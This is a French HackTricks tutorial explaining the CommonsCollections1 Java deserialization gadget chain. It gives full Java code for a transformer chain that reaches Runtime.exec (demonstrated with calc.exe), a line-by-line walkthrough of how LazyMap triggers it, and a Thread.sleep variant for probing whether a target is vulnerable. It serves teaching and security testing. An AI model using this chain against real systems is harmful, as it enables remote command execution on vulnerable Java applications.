CommonsCollection1 Payload - Java Transformers to Rutime exec() et Thread Sleep
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Java Transformers to Rutime exec()
Dans plusieurs endroits, vous pouvez trouver un payload de désérialisation java qui utilise des transformateurs des collections communes d'Apache comme celui-ci :
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Si vous ne savez rien sur les payloads de désérialisation Java, il pourrait être difficile de comprendre pourquoi ce code exécutera un calc.
Tout d'abord, vous devez savoir qu'un Transformer en Java est quelque chose qui reçoit une classe et la transforme en une autre.
Il est également intéressant de savoir que le payload étant exécuté ici est équivalent à :
Runtime.getRuntime().exec(new String[]{"calc.exe"});
Ou plus exactement, ce qui va être exécuté à la fin serait :
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Comment
Alors, comment le premier payload présenté est-il équivalent à ces "simples" one-liners ?
Tout d'abord, vous pouvez remarquer dans le payload qu'une chaîne (tableau) de transformations est créée :
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Si vous lisez le code, vous remarquerez que si vous parvenez à enchaîner la transformation du tableau, vous pourriez être en mesure d'exécuter des commandes arbitraires.
Alors, comment ces transformations sont-elles enchaînées ?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
Dans la dernière section de la charge utile, vous pouvez voir qu'un objet Map est créé. Ensuite, la fonction decorate
est exécutée à partir de LazyMap
avec l'objet map et les transformateurs chaînés. Dans le code suivant, vous pouvez voir que cela va entraîner la copie des transformateurs chaînés à l'intérieur de l'attribut lazyMap.factory
:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
Et puis le grand final est exécuté : lazyMap.get("anything");
Voici le code de la fonction get
:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
Et voici le code de la fonction transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
Donc, rappelez-vous qu'à l'intérieur de factory nous avons sauvegardé chainedTransformer
et à l'intérieur de la fonction transform
nous parcourons tous ces transformers enchaînés et exécutons l'un après l'autre. La chose amusante, c'est que chaque transformer utilise object
comme entrée et l'objet est la sortie du dernier transformer exécuté. Par conséquent, toutes les transformations s'exécutent enchaînées en exécutant le payload malveillant.
Résumé
À la fin, en raison de la façon dont lazyMap gère les transformers enchaînés à l'intérieur de la méthode get, c'est comme si nous exécutons le code suivant :
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
Remarquez comment value
est l'entrée de chaque transformation et la sortie de la transformation précédente, permettant l'exécution d'une ligne de code :
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Notez qu'ici il a été expliqué les gadgets utilisés pour le ComonsCollections1 payload. Mais il reste comment tout cela commence à s'exécuter. Vous pouvez voir ici que ysoserial, afin d'exécuter ce payload, utilise un objet AnnotationInvocationHandler
car lorsque cet objet est désérialisé, il invoquera la fonction payload.get()
qui exécutera l'ensemble du payload.
Java Thread Sleep
Ce payload pourrait être utile pour identifier si le web est vulnérable car il exécutera un sleep si c'est le cas.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Plus de gadgets
Vous pouvez trouver plus de gadgets ici : https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.